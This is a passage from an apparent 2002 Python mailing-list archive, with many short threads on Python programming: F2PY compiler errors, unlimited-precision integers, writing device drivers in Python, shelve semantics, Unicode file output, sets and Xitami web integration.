Lisp, he has any language he pleases. -- Guy L. Steele Jr, quoted by David Rush in comp.lang.scheme.scsh From brian at sweetapp.com Sun May 5 13:08:57 2002 From: brian at sweetapp.com (Brian Quinlan) Date: Sun, 5 May 2002 10:08:57 -0700 Subject: making python scripts backwards compatible In-Reply-To: <j4vga2h6kh.fsf@informatik.hu-berlin.de> Message-ID: <009001c1f457$8b3e90f0$445d4540@Dell2> MvL wrote: > > Only if he insisted on just the first half of his request would he then, > > arguably, be asking too much. > > I think the OP is indeed requesting only the first > half. SimpleXMLRPCServer.py is part of the standard library in current > releases, and the standard library *only* works with the Python > interpreter that ships with it, not with earlier versions, not with > later versions. There are a few exceptions to that, I believe e.g. Ping is still trying to keep pydoc backwards compatible, /F is keeping xmlrpclib backwards compatible, etc. Cheers, Brian From ianb at colorstudy.com Fri May 10 20:19:56 2002 From: ianb at colorstudy.com (Ian Bicking) Date: 10 May 2002 19:19:56 -0500 Subject: correct way to check for True in __builtins__? In-Reply-To: <GCEDKONBLEFPPADDJCOECEHDDBAA.whisper@oz.net> References: <GCEDKONBLEFPPADDJCOECEHDDBAA.whisper@oz.net> Message-ID: <1021076396.1311.63.camel@localhost> On Fri, 2002-05-10 at 18:48, David LeBlanc wrote: > try > dir(True) > except > ... It would be a bit easier to do: try: True except NameError: ... Ian From DavidA at ActiveState.com Thu May 16 13:22:46 2002 From: DavidA at ActiveState.com (David Ascher) Date: Thu, 16 May 2002 10:22:46 -0700 Subject: Python Cookbook from Oreilly??? References: <ilOE8.9$vd4.245@news.ecrc.de> Message-ID: <3CE3EAE6.2000708@ActiveState.com> Markus Jais wrote: >hi >at amazon.com I saw that there should be a python cookbook published >by oreilly in April 2002, but I can not find it at www.oreilly.com > >does anybody if and when this will be published??? > If: YES! When: Soon. We're in the copy-editing & production phases, which are done by O'Reilly. >for Ruby I have always "The Ruby Way" by Hal Fulton on my desk which is >writtin in a cookbook style. such a book saves a lot of time > >this is definitely a book that is missing for python right now. > > Glad to hear you say so! It was a _lot_ more work for Alex Martelli, me, and the O'Reilly folks than anyone had planned. I'm quite pleased with where it's ended, though! Hopefull the readership will be as well. -- David Ascher co-editor, Python Cookbook From siegfried.gonzi at kfunigraz.ac.at Thu May 2 06:47:00 2002 From: siegfried.gonzi at kfunigraz.ac.at (Siegfried Gonzi) Date: Thu, 02 May 2002 12:47:00 +0200 Subject: F2PY problems Message-ID: <3CD11924.1B4EAA0E@kfunigraz.ac.at> Is there a good soul out there, who can help with my problem? I want to use F2PY, but after following the examples: C:\Wissenschaft\F2PY\tmp> f2py -c -m example foo3.py I get the error message: ... scipy_distutils.command.build_flib.nag_fortran_compiler scipy_distutils.command.build_flib.compaq_fortran_compiler scipy_distutils.command.build_flib.vast_fortran_compiler scipy_distutils.command.build_flib.gnu_fortran_compiler using Gnu 2.95.3-5 Fortran compiler building 'example' library ... "C:\Wissenschaft\Python2.2\Lib\site-packages\scipy_distutils\command\build_ext.py", line 16, in build_extension save_linker_so = self.compiler.linker_so AttributeError: MSVCCompiler instance has no attribute 'linker_so' The compilation starts with gnu but the Microsoft Visual C++ compiler interferes somewhat the compilation. I got the advice to add the following to the f2pye.py file: # force g77 for now from scipy_distutils.command import build_flib build_flib.all_compilers = [build_flib.gnu_fortran_compiler] if sys.platform == 'win32': from scipy_distutils.mingw32_support import * But honestly speaking I do not know where exactly to put the above statements. A few weeks ago I used SWIG and set up "vcvars32.bat" and maybe this is the reason why MVC++ interferes. Is there a way to set Mingw as a default environment (please, if possible an explanation for a dummy) and to set "vcvars32.bat" back (if needed?). But I use the Fortran 90/95 F compiler in companion with Mingw in order to compile Fortran 90/95 programs; F relies on Mingw and therefore Mingw should work. Has anybody experience with F2PY on Windows and Python2.2? Thanks, S. Gonzi From zephinilium at yahoo.com Thu May 23 20:01:52 2002 From: zephinilium at yahoo.com (Uncle_Alias) Date: 23 May 2002 17:01:52 -0700 Subject: How Are Unlimited Precision Integers Accomplished? References: <e1eff209.0205221515.6135fc6f@posting.google.com> <7xbsb7zrlc.fsf@ruckus.brouhaha.com> Message-ID: <e1eff209.0205231601.61fab12b@posting.google.com> Paul Rubin <phr-n2002a at nightsong.com> wrote in message news:<7xbsb7zrlc.fsf at ruckus.brouhaha.com>... > zephinilium at yahoo.com (Uncle_Alias) writes: > > I was playing around with computing powers of 2 the other night, and > > was watching Python spit out numbers. When I tested the output by > > dividing it by 2 repeatedly, it seemed to be accurate and not a > > rounded out number. This is amazing to me that it can calculate > > integers to unlimited precision. How is this done? (Please keep the > > explanation simple, for I am a mere amateur coder). > > Yes, Python has a "long" (arbitrary precision integer) type whose size > is limited only by the amount of memory available. Python version 2.2 > uses longs when regular integer calculations overflow. Earlier > versions of python will signal an integer overflow error if an > integer (normally 32 bits) gets too large. That will happen > if you enter an exponent >= 31. That explains part of my surprise: I'd been using an earlier version on the Mac, and am now using 2.2.1 on the PC. So what fun things can we do with this? Anyone have an algorithm for calculating pi? From gcordova at hebmex.com Fri May 3 10:22:47 2002 From: gcordova at hebmex.com (Gustavo Cordova) Date: Fri, 3 May 2002 09:22:47 -0500 Subject: Low level python Message-ID: <F7DB8D13DB61D511B6FF00B0D0F06233B2C9E7@mail.hebmex.com> > > I've been thinking of writing a device driver in python. > > > > Some people say this is ridiculous. > > > > I used psyco to improve the speed, and now have a program > > that does the device driver's job (a proprietry touchscreen > > driver) in user mode. > > > > Now, I have no idea how to make the python exe or dll run in > > kernel mode. I wonder if there are some special api calls > > that need to made. > > > > I'm downloading WinDriver. I hope this can help me. > > > > Does anyone not think this is a crazy thing to do? > > > > Why not use python for a device driver? > > > > I just see it as python dll is the driver, and the .py file are like > > permanent configuration file for it. > > > > Comments Appreciated > > Matthew Sherborne > > I think it's a fabulous idea. I think you will find yourself writing > a few python extensions, so be prepared. > > Perhaps even a python operating system is plausable. I'm not very > knowledgeable about operating system design, but it seems as if > some operating systems such as Windows suffer from a lack of a robust > universal object model with garbage collection. The idea would be > to expose the kernel and low level interfaces as python extensions. > As processors continue to move into the GHz zone, function call > overhead becomes less significant, while scaleability and code > complexity become more significant. > > Well, now maybe people will call me crazy instead of you :-) > > - Ken > This is a *very* interesting project, and mightily seductive, intellectually speaking. BUT, one thing I differ in respect to the opinions expressed by many of the folx here, is that 3mb for a device driver seems to me awfully expensive --memory wise--, and, dangerous. Dangerous, because there is lots of code which can hide bugs in 3 Mb. Bugs which could, at the device-driver level, wipe out the whole work of months, in a blink. We've all had our share of flaky windows (3.x, 95, 98, NT, etc) drivers, and the heartache and pain they cause (and lost time, and bloo screens of deth). Do we really want that for our Python-written drivers? Is that the reputation we wish to create? Wait a sec, I'm not saying that Python may be flaky, on the contrary, it's proven itself more than once, and the quality of the PEOPLE behind it's development is superb. But mistakes are maken, nobody's perfect. That's what makes a driver written in C or in assembler (better yet) such a beautiful thing: it's tiny, it ONLY uses what you explicitly told it to use, and it's fast. OK, after having my say about "the water's cold and you'll catch your death", let's jump in the pool. :-) Call me old fashioned ("booo!! hisss!! oldster!!!"), but writing a device driver in an interpreted language doesn't really rub me the right way. I was playign around a few months back with Forth, a really neato language, but even more illegible than Perl, if you can believe that. BUT, it's really really appealing to anybody's hacker instinct. Dangerously appealing, if you ask me. One of the most neat things is that a complete Forth system, compiler and all, is very small, and it's written in Forth itself. Forth, written in Forth. And, in a package I found, it comes with a machine language assembler. Now *that* would be useful for our python device drivers. A Machine Language Assembler module. from Assembler import Ix86 So, you assemble a few instructions, which do all the low-level stuff you need, and very quickly. Bit-fiddling is best done in machine language. Is this doable? Can python eventually become self-hosting, like forth? Can we do away with the C stdlib tyranny? Can python eventually become it's own OS? Sounds very interesting to find out. From jepler at unpythonic.net Thu May 30 15:39:10 2002 From: jepler at unpythonic.net (Jeff Epler) Date: Thu, 30 May 2002 14:39:10 -0500 Subject: clearing subclassed lists/dicts In-Reply-To: <ad5rif$p81@drn.newsguy.com> References: <ad5rif$p81@drn.newsguy.com> Message-ID: <20020530143905.G17765@unpythonic.net> For a list, you could use del l[:] a dict seems to have a 'clear' method already. You could call it through dict.clear(self) or super(dict, self).clear() if you want to write the method in the subclass for some reason. 'del self' doesn't work (it only removes the name 'self' from the locals), and 'self = []' doesn't work (it only rebinds the name 'self' in the locals) Jeff From duncan at NOSPAMrcp.co.uk Fri May 31 03:57:00 2002 From: duncan at NOSPAMrcp.co.uk (Duncan Booth) Date: Fri, 31 May 2002 07:57:00 +0000 (UTC) Subject: Spiral References: <gXPDTYGWch98Ew1w@[127.0.0.1]> <Xns921E939913B0Bduncanrcpcouk@127.0.0.1> <oVFhzeC$Vy98Ewkp@[127.0.0.1]> Message-ID: <Xns921F591C76053duncanrcpcouk@127.0.0.1> Chris <nospam@[127.0.0.1]> wrote in news:oVFhzeC$Vy98Ewkp@[127.0.0.1]: > > Thanks - and thanks to others who replied, too. > I'm totally new to Python and so I'll have to experiment a bit - > but does your program work with the standard Python package or do I have > to get some add-ons? (It's the "import" that made me wonder.) My example works with the standard Python 2.2.x provided you use a version that comes with Tkinter (most do including the standard Windows distribution). The easiest way to run it is to run the 'Idle' gui that also comes as part of the normal distribution. The 'turtle' module is part of the standard library: almost everything in Python lives in a module and has to be imported before you can use it: even the cos and sin functions I used were imported from turtle (which in turn had imported them from math). -- Duncan Booth duncan at rcp.co.uk int month(char *p){return(124864/((p[0]+p[1]-p[2]&0x1f)+1)%12)["\5\x8\3" "\6\7\xb\1\x9\xa\2\0\4"];} // Who said my code was obscure? From mats at laplaza.nospam.org Fri May 3 10:31:37 2002 From: mats at laplaza.nospam.org (Mats Wichmann) Date: Fri, 03 May 2002 14:31:37 GMT Subject: Newbie: finding the key/index of the min/max element References: <NCBBLFCOHHDIKCAFGCFBEENBKNAA.marklists@mceahern.com> <mailman.1020337686.2283.python-list@python.org> <qlbA8.39303$8D3.1152710@news1.tin.it> Message-ID: <3cd29d66.8122689@news.laplaza.org> On Thu, 02 May 2002 13:40:38 GMT, Alex Martelli <aleax at aleax.it> wrote: :Sure, but it's an easy point to see -- "adding something costs little, so :why not just add it? removing something costs a lot, so never remove!". : :Clearly, each of the many "persistent" questions tends to relate to :features of other languages the querants know. They're used to them, so :they *WANT* them -- if they're decent rationalizers (and most of us are) :they'll come up with oodles of almost-plausibly-sounding "reasons", of :course. "wild and wooly" ideas not tried elsewhere do come up, but not :repetitively (that I recall -- and this makes sense to me). : :Giving in may appear to make some kind of local-optimization sense in each :and any case. Net result, should you give in to the pressure in each case, :a language so huge, bloated, and unwieldy as to dwarf C++ or Perl or .... And let's recall that there are programming targets that are not as capable as our common-or-garden desktop. E.g. Pythonists may want to use their favorite language on a PDA which may offer only 32 or 64 MB total memory, with "secondary storage" of another 64MB. It's a bit of a shoehorning job today. But something to consider when the "memory is cheap" thought becomes too ingrained... Mats Wichmann From gerhard at bigfoot.de Thu May 16 09:48:22 2002 From: gerhard at bigfoot.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: 16 May 2002 13:48:22 GMT Subject: Python Cookbook from Oreilly??? References: <ilOE8.9$vd4.245@news.ecrc.de> Message-ID: <slrnae7e1t.c4.gerhard@developer2.opus-gmbh.net> In article <ilOE8.9$vd4.245 at news.ecrc.de>, Markus Jais wrote: > hi > at amazon.com I saw that there should be a python cookbook published > by oreilly in April 2002, but I can not find it at www.oreilly.com > > does anybody if and when this will be published??? See the thread following <3cd472d2$0$8508$cc9e4d1f at news.dial.pipex.com> (Yes, it's postponed) HTH, Gerhard From nospam at nospam.nospam Mon May 27 09:22:42 2002 From: nospam at nospam.nospam (Max) Date: Mon, 27 May 2002 13:22:42 GMT Subject: Again: gadfly + py2exe HELP really needed References: <RO1I8.87037$CN3.2545029@news2.tin.it> <mailman.1022455725.26128.python-list@python.org> Message-ID: <CqqI8.90153$CN3.2655813@news2.tin.it> "Richard Jones" <rjones at ekit-inc.com> ha scritto nel messaggio news:mailman.1022455725.26128.python-list at python.org... > On Sun, 26 May 2002 19:21, Max wrote: [...] > Have you examined the imports using "python -v"? Yes, and forced all the modules i found whithout success... > Have you contacted the py2exe author? No, but could be next step... :) > Try not including the kjbuckets C module. It is optional - it gives a speedup > but if you can get gadfly working without it, that's a start! I had tried this option too, whithout success... Thanks for your suggestions... Max From emile at fenx.com Tue May 7 09:22:14 2002 From: emile at fenx.com (Emile van Sebille) Date: Tue, 07 May 2002 13:22:14 GMT Subject: survey: is shelve broken? should it be fixed? References: <mailman.1020762312.2425.python-list@python.org> <j4y9ew2l1u.fsf@informatik.hu-berlin.de> <kfQB8.12053$zW3.292422@news1.tin.it> Message-ID: <ayQB8.145046$CH.20819@rwcrnsc52.ops.asp.att.net> Alex Martelli > Martin v. L?wis wrote: > > I wouldn't call the feature 'smart', but rather describe somehow what > > it does, > > What it does it "avoid laying a trap for the user by having a behavior > that tends to be rather surprising". But that's rather longish as an > argument name. HOW it does it by "keeping a cache of values retrieved > and/or stored until the next call to method .sync" (that's in the patch > I put on SF, though I think that, as usual for caches, it should be > done with weakrefs where feasible, while still handing not wr-able > values). That's rather longish too. If we stick to short adjectives, > alternatives to 'smart' might be 'sane' or 'unsurprising', ot of course > we could flip the boolean and call it 'dumb', 'insane', 'surprising':-). > You also used 'modifiable' (shorten to modify). 'Persistent' (persist), 'updateable' (update), 'dynamic' (vs boolean flipped 'static') or perhaps untrap? Should we call the next improvement switch argument 'smarter'? ;-) -- Emile van Sebille emile at fenx.com --------- From pyth at devel.trillke.net Sun May 12 09:41:30 2002 From: pyth at devel.trillke.net (holger krekel) Date: Sun, 12 May 2002 15:41:30 +0200 Subject: Best way to represent an outline? In-Reply-To: <3CDA8185.8080305@lindbergs.org>; from news@lindbergs.org on Thu, May 09, 2002 at 08:02:45AM -0600 References: <3CDA8185.8080305@lindbergs.org> Message-ID: <20020512154130.B8959@prim.han.de> VanL wrote: > Hello, > > I'm trying to figure out the best way to represent an > outline, but I'm not sure what to use for each node: could you give an example/definition what you mean by 'outline'? holger From peter at engcorp.com Wed May 22 08:27:02 2002 From: peter at engcorp.com (Peter Hansen) Date: Wed, 22 May 2002 08:27:02 -0400 Subject: Emulating Pascal input References: <mailman.1022065417.1277.python-list@python.org> Message-ID: <3CEB8E96.341A062F@engcorp.com> Michael Williams wrote: > > Consider the following Pascal code: > > (******** Pascal code **********) > (* Pascal ascii input of numbers: stdin and file *) > readln(x, y); > readln(fin, x, y); > > The first line is for stdin, the second for from file. The variables > x and y will then contain the first two white space separated numbers > the program encounters when that function is called. Does that mean if I were to type "i have 3 out of 6 on the test" that x would equal 3 and y would equal 6? Or what would I get if I typed "3 6 blah blah"? It looks like readln() is a convenience function without directly compatible equivalents in many other languages. Maybe you could spend a brief time having the students work with the raw data as you have in your examples, then present them with a nice utility method that works in a non-readln manner (more Pythonic would be good, with exceptions) and let them use that the rest of the time. You could even stick it in _builtins_ via site.py or something, so they never know it isn't standard (until they try to use it elsewhere). I remember writing such little programs in school at various times, but in reality I don't think real programs ever do such things. They parse command line arguments (maybe you could teach them about Optik) or they handle input from a GUI, but reading non-trivial data directly from stdin seems uncommon outside of contrived assignments in school. -Peter From pyth at devel.trillke.net Wed May 1 09:30:39 2002 From: pyth at devel.trillke.net (holger krekel) Date: Wed, 1 May 2002 15:30:39 +0200 Subject: Newbie: finding the key/index of the min/max element In-Reply-To: <WeOz8.36332$8D3.1056495@news1.tin.it> References: <200204302300.g3UN0kkG002462@ratthing-b246.strakt.com> <3CCF4F66.BA0A5DD4@cascade-sys.com> <mailman.1020240425.31988.python-list@python.org> <WeOz8.36332$8D3.1056495@news1.tin.it> Message-ID: <20020501133039.GN16217@devel.trillke> On Wed, May 01, 2002 at 09:07:02AM +0000, Alex Martelli wrote: > Laura Creighton wrote: > ... > > All of this was personal. You can't hide behind 'other men' or 'other > > Americans'. Francois Pinard, Cliff Wells, Steve Holden, Tim Delaney, > > I, and I forget who else who helped are not going to sit around idlely > > while you turn c.l.p into a 'sarcasm friendly' place. We will fight > > you over this. This is an extremely interesting and to my mind > > important social experiement, and you aren't going to find many people > > who will support you in your efforts to turn this place into just > > another newsgroup. > > Actually, _I_ wouldn't mind it if there was a way to discourage people > from starting Yet Another Round of language-change proposals or whines > and complaints against some aspect of the language they have not > carefully considered. "I don't understand why 'split' should be a > method of the joiner rather than of the sequence" is one thing, and, > even though often explored in the past, deserves courteous response if > one has the time and patience to repeat it (or pointing to a FAQ, etc). Do you know about Linus Torvalds saying, that 95% of the programmers consider themselves to be excellent and the rest at least deems theirselves above average? So i guess it's a learning process. iff people *keep coming back* trying to force their (often narrow) views on others *then* i would look for ways of discouragement. During my time on c.l.py i have see a lot of people getting adapted and then *enjoying* the fact that many knowledgable people ('a meeting of the minds') really care for their problems and explain things. Humbleness is a virtue which you can learn here on this list because there are so many great, nice and knowledgable people. Whereas the number of people *insisting* on narrow views is really small. I can't even remember one. But you certainly have longer-ranged statistics than me. I can understand perfectly well that certain statements about ternary operators or putting join on sequence-types and whatnot get on your nerves. But i guess if you don't reply to fast you will find that other people (who may have learned it from you!) take care. regards, holger From max at alcyone.com Wed May 15 03:55:40 2002 From: max at alcyone.com (Erik Max Francis) Date: Wed, 15 May 2002 00:55:40 -0700 Subject: __getitem__, __getslice__ question for python 2.2 References: <mailman.1021446748.5956.python-list@python.org> Message-ID: <3CE2147C.287F07B6@alcyone.com> Ken Seehof wrote: > I don't see the problem. If x is 'a', x != int(x) evaluates to false, > consistent with 'a' not being an integer. No, 'a' != int('a') does not evaluate to false. It raises a ValueError. > If the actual type is important and you don't consider 2.0 to be an > integer, you can say: > > if type(x) != int: ... Only behaves as expected in Python 2.2 and later. The canonical test is type(x) != types.IntType. -- Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/ __ San Jose, CA, US / 37 20 N 121 53 W / ICQ16063900 / &tSftDotIotE / \ Who'd ever think it / Such a squalid little ending \__/ The American and Florence, _Chess_ Church / http://www.alcyone.com/pyos/church/ A lambda calculus explorer in Python. From boud at valdyas.org Mon May 6 11:00:47 2002 From: boud at valdyas.org (Boudewijn Rempt) Date: Mon, 06 May 2002 17:00:47 +0200 Subject: Python Cookbook (printed) References: <3cd472d2$0$8508$cc9e4d1f@news.dial.pipex.com> <3CD479DC.67155DE4@bellatlantic.net> <mZ4B8.5120$zW3.135839@news1.tin.it> <3CD581AF.2070202@earthlink.net> Message-ID: <3cd69d97$0$3881$e4fe514c@dreader4.news.xs4all.nl> Ron Stephens wrote: > I'll be waitng in line to read it ;-))) > > But July is fine, and a better product is always worth the wait. Anyway, > I need some more time to fully absorb Boudewijn Rempt's book on Gui > programming with the QT Toolkit. By the way, Shawn Gordon is putting out > feelers to see if there is enough demand to do a re-printing, as the > Kompany has sold out of the first printing. > I've checked with the publisher, and the book definitely hasn't sold out. There are enough copies to go around -- so anyone can safely order one :-). -- Boudewijn Rempt | http://www.valdyas.org From whisper at oz.net Thu May 23 21:39:55 2002 From: whisper at oz.net (David LeBlanc) Date: Thu, 23 May 2002 18:39:55 -0700 Subject: OT: off-topic In-Reply-To: <3CED86D1.1D997148@replyto.address.invalid> Message-ID: <GCEDKONBLEFPPADDJCOEGEIMDEAA.whisper@oz.net> This thread clearly demonstrates that Pythonistas will go to great lengths to talk about virtually nothing at all LOL. Greg, do you think there's an interesting positive number for "aussies win the soccar World Cup"? <g> David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Greg Ewing > Sent: Thursday, May 23, 2002 17:18 > To: python-list at python.org > Subject: Re: OT: off-topic > > > Andrew Dalke wrote: > > > > Plus, all it really says is "interesting" doen't have a closed cover. > > The values of interesting can approach but never be 0 ("uninteresting") > > and for any positive value of "interesting" you can always find a > > number which is less interesting than that. > > Seems to me it's pulling a fast one by not having > a rigorous definition of "interesting". The only > way to make it work is to define "interesting" in > a way that's self-contradictory. So it's just your > standard self-contradiction paradox in another > guise. > > -- > Greg Ewing, Computer Science Dept, > University of Canterbury, > Christchurch, New Zealand > http://www.cosc.canterbury.ac.nz/~greg > -- > http://mail.python.org/mailman/listinfo/python-list From cbbrowne at acm.org Mon May 6 20:38:04 2002 From: cbbrowne at acm.org (Christopher Browne) Date: Mon, 06 May 2002 20:38:04 -0400 Subject: Readable Perl (was Re: Python vs. Perl, which is better to learn?) References: <df30afd4.0204292111.31e5914a@posting.google.com> <chris-4E0B1A.01281230042002@corp.supernews.com> <f0fd5987.0204300105.51529004@posting.google.com> <chris-FA912A.00104606052002@corp.supernews.com> <3CD60E05.D9D8C1A6@engcorp.com> <m3lmaxuacu.fsf@chvatal.cbbrowne.com> <chris-90CE30.01535006052002@corp.supernews.com> <3CD623A7.4EE48B14@engcorp.com> <wuadrdo2e3.fsf_-_@hades.layton-graphics.com> <3CD71B64.3A1E5614@engcorp.com> Message-ID: <m33cx4pzbn.fsf@chvatal.cbbrowne.com> In an attempt to throw the authorities off his trail, Peter Hansen <peter at engcorp.com> transmitted: > But it is very impressive, for Perl code. My compliments to > the author. Any perceived lack of readability is clearly the > language's (and reader's) fault, not the author's. The author used to be a Common Lisp hacker, who wrote rather a lot of XEmacs, and was also heavily involved in the port of Mozilla to Unix, many moons ago. Older versions of Netscape Navigator/Communicator support the "about:jwz" URL/URN, which might link you somewhere interesting... -- (concatenate 'string "cbbrowne" "@acm.org") http://www3.sympatico.ca/cbbrowne/emacs.html In a world without fences, who needs Gates? From ianb at colorstudy.com Fri May 31 18:25:52 2002 From: ianb at colorstudy.com (Ian Bicking) Date: 31 May 2002 17:25:52 -0500 Subject: Extracting data from HTML In-Reply-To: <82096df4.0205311152.5891a17b@posting.google.com> References: <82096df4.0205311152.5891a17b@posting.google.com> Message-ID: <1022883953.6150.5802.camel@localhost> On Fri, 2002-05-31 at 14:52, Hazel wrote: > how do i write a program that > will extract info from an HTML and print > of a list of TV programmes, its Time, and Duration > using urllib? You can get the page with urllib. You can use htmllib to parse it, but I often find that regular expressions (the re module) are an easier way -- since you aren't looking for specific markup, but specific expressions. You'll get lots of false negatives (and positives), but when you are parsing a page that isn't meant to be parsed (like most web pages) no technique is perfect. Ian From sjmachin at lexicon.net Sun May 12 18:28:14 2002 From: sjmachin at lexicon.net (John Machin) Date: 12 May 2002 15:28:14 -0700 Subject: searching files References: <abjaqq$gfu$1@bagan.srce.hr> <Xns920BB71141B16cliechtigmxnet@62.2.16.82> <abjm4j$lmd$1@bagan.srce.hr> <abjqus$j192b$1@ID-99293.news.dfncis.de> <ablhdd$g48$1@bagan.srce.hr> Message-ID: <c76ff6fc.0205121428.7c48ec3f@posting.google.com> "zweistein" <zweistein at net.hr> wrote in message news:<ablhdd$g48$1 at bagan.srce.hr>... > Hmmmmmm... Yes, I know this, but I'm currently on Win2k, and do not have > access to grep and/or awk. If you need grep and/or awk just to get a job done, try this: http://gnuwin32.sourceforge.net/ and you can get a Windows executable of the one true awk from the k-man himself: http://plan9.bell-labs.com/cm/cs/awkbook/index.html OTOH, writing awk scripts that are too long to fit on a screen will fry your brain. Learning to write such things as simple greppers in Python will expand your horizons and bring much less sorrow to anyone (including yourself) who has to read the code later. HTH, John From francois.lepoutre at seriatim.com Sat May 11 06:05:28 2002 From: francois.lepoutre at seriatim.com (François Lepoutrre) Date: Sat, 11 May 2002 11:05:28 +0100 Subject: a xitami lrwp question Message-ID: <abiofk$p7o$1@suaar1aa.prod.compuserve.com> Hi all xitami supporters (Steve H., Alex M. ...), I have read Steve's "python web programming" and especially liked the part on xitami lrwp. We have a working apache "mod_python handler" that i tried to port to xitami (on win32). The whole port was easy. It looks like a pleasant alternative especially on win32. Xitami and its persistend fastcgi-like "long--running Web processes" are a dream to code. We have a serious problem howvever as we dump binary data as well as text strings. >From what i could test and peak thru google, binary data gets truncated thru the lrwp interface. >binary data it gets cut off at the first '\0'. Any way out or hint is welcome. By the way is anyone using xitami+python in production. This wonderful little thing is top speedy by the way (millisecond is the testing unit :). It seems cleany scalable. Francois google xitami search on the issue: http://xitami.ec-computers.net/1999/Dec/Msgs/l2w56519.html http://xitami.ec-computers.net/2001/Apr/Msgs/l2w24011.html From m_mariappanX at trillium.com Fri May 3 05:26:36 2002 From: m_mariappanX at trillium.com (Mariappan, MaharajanX) Date: Fri, 3 May 2002 02:26:36 -0700 Subject: pmw scrolled frame widget Message-ID: <53A7943A5BD8D411B6930002A5073155022D7512@bgsmsx90.iind.intel.com> Hi, I've tried the same...but still the color is not geeting loaded...... see the attached script for a example maharajan >-----Original Message----- >From: A.M. Kuchling [mailto:akuchlin at ute.mems-exchange.org] >Sent: Friday, May 03, 2002 12:40 AM >To: python-list at python.org >Subject: Re: pmw scrolled frame widget > > >In article <29e28c51.0205021025.627e1fba at posting.google.com>, >Cimarron Taylor wrote: >> Based on that I would suggest you attempt >> self.sf._frame.configure(bg='white') >> or whatever color you need. > >You can get the contained frame without messing with private variables >by calling the .interior() method: > > self.sf.interior().configure(bg='white') > >--amk >-- >http://mail.python.org/mailman/listinfo/python-list > -------------- next part -------------- A non-text attachment was scrubbed... Name: test2.ZIP Type: application/octet-stream Size: 723 bytes Desc: not available URL: <http://mail.python.org/pipermail/python-list/attachments/20020503/d8c8eeb7/attachment.obj> From cliechti at gmx.net Fri May 3 17:58:21 2002 From: cliechti at gmx.net (Chris Liechti) Date: 3 May 2002 23:58:21 +0200 Subject: Threads and socketservers... (xmlrpc) References: <slrnad60to.qvq.mlh@vier.idi.ntnu.no> Message-ID: <Xns9203F422F1A27cliechtigmxnet@62.2.16.82> mlh at vier.idi.ntnu.no (Magnus Lie Hetland) wrote in news:slrnad60to.qvq.mlh at vier.idi.ntnu.no: s = xmlrpclib.Server(...) > t = threading.Thread(taget=s.serve_forever) > t.setDaemon(1) > t.run() usualy that last line should be: "t.start()" > # Program blocks here... chris -- Chris <cliechti at gmx.net> From martin at v.loewis.de Thu May 16 16:40:48 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 16 May 2002 22:40:48 +0200 Subject: Unicode File I/O Grief References: <mailman.1021575255.32620.python-list@python.org> Message-ID: <m38z6jsu5r.fsf@mira.informatik.hu-berlin.de> "Bjorn Pettersen" <BPettersen at NAREX.com> writes: > > I simply want to do the following: > > > > file('C:\\odd.txt', 'wb').write(ucString) > > > > ...so that I can examine the contents of this (rather long) > > Unicode string in an editor. > > > > Can I write it to a file? > > I'm far from a Unicode expert, but I believe you need to say > ucString.encode(), optionally passing which encoding you want. Correct. Assuming that the original .write failed, .encode without parameters won't help either, since Python already tried the system default encoding in the .write. I recommend to do codecs.open('C:\\odd.txt', 'wb', encoding="utf-8").write(ucString) or file('C:\\odd.txt', 'wb').write(ucString.encode("utf-8")) Regards, Martin From ods at fep.ru Fri May 17 05:45:42 2002 From: ods at fep.ru (Denis S. Otkidach) Date: Fri, 17 May 2002 13:45:42 +0400 (MSD) Subject: PEP 218 Re: ANN: set-0.1 module available In-Reply-To: <Pine.LNX.4.33.0205162131590.19688-100000@rnd.onego.ru> Message-ID: <Pine.LNX.4.44L.0205171343590.1576-100000@ods.pp.ru> On Thu, 16 May 2002, Roman Suzi wrote: RS> >There are still unresolved issues. RS> RS> >E.g. should set object be hashable? RS> RS> Yes, I know this discussion. Math is dealing with RS> abstract objects while programming language is a model, RS> which must take efficiency vs. flexibility into account. RS> RS> In Pascal set type was implemented for limited types of RS> elements RS> (IIRC) and thus lacked flexibility. It's not Pythonic way. RS> So, probably Python will implement more flexible, universal RS> sets? RS> (for example, using hashes when possible or falling back to RS> other schemes when impossible). That's to complex. Maybe sets should be always immutable like tuples? From fperez528 at yahoo.com Tue May 21 15:42:27 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Tue, 21 May 2002 13:42:27 -0600 Subject: How to know if a popen*() was successful? References: <acc54g$3uo$1@peabody.colorado.edu> <acd04t$aki$1@wanadoo.fr> <acdrg9$21k$2@peabody.colorado.edu> <acdufg$1l36$1@nntp6.u.washington.edu> Message-ID: <ace858$93p$1@peabody.colorado.edu> Donn Cave wrote: > Quoth Fernando Prez <fperez528 at yahoo.com>: > ... > | Thanks for the suggestion, but as I said furhter (and you acknowledged), I > | need this to work under windows, as much as I dislike that piece of trash. > > Wonder if it would be better to attack the problem separately at a > higher level, rather than trying to make these two platforms work > the same at this level. Especially if Windows support eventually > means a Python pager substitute - surely there's a better way to > bring that up than popen. Very good point. I'll probably rewrite my page() routine to simply jump out straight to the dumb default under windows, and in Unix to do some platform-specific tests which may work better (like using which to find the person's pager). Thanks! f. From bt98 at doc.ic.ac.uk Sat May 25 14:49:01 2002 From: bt98 at doc.ic.ac.uk (Benjamin Tai) Date: Sat, 25 May 2002 19:49:01 +0100 Subject: symbolic python References: <3CEFAE4C.38A8022B@doc.ic.ac.uk> <83off4jdzu.fsf@panacea.canonical.org> Message-ID: <3CEFDC9D.84061C83@doc.ic.ac.uk> Kragen Sitaker wrote: > Benjamin Tai <bt98 at doc.ic.ac.uk> writes: > > Is there any chance to print out the code inside the function_body? > > > > When I receive a method object, would it be possible to get into the > > function_body, and dynamically change the method's behaviour? > > Yes, see bytecodehacks. Hi, Looks very interesting. Thank you very much for the advise. Ben From vincent at visualtrans.de Sun May 12 15:13:28 2002 From: vincent at visualtrans.de (vincent wehren) Date: Sun, 12 May 2002 21:13:28 +0200 Subject: unknown locale de_DE@euro References: <wpVC8.5595$48.537956@zwoll1.home.nl> <j4r8kj2l4k.fsf@informatik.hu-berlin.de> <HJvD8.13869$48.1363768@zwoll1.home.nl> <m3lmapz0pu.fsf@mira.informatik.hu-berlin.de> Message-ID: <CWyD8.14621$48.1442805@zwoll1.home.nl> "To get the encoding" pretty much sums it up. I manage the translation center of a vendor of industry-specific ERP systems. Now, apart from the translation effort, a lot of my focus is on issues such as encodings, code pages, and so on. I therefore often use a python script to "spy" the default encoding as well 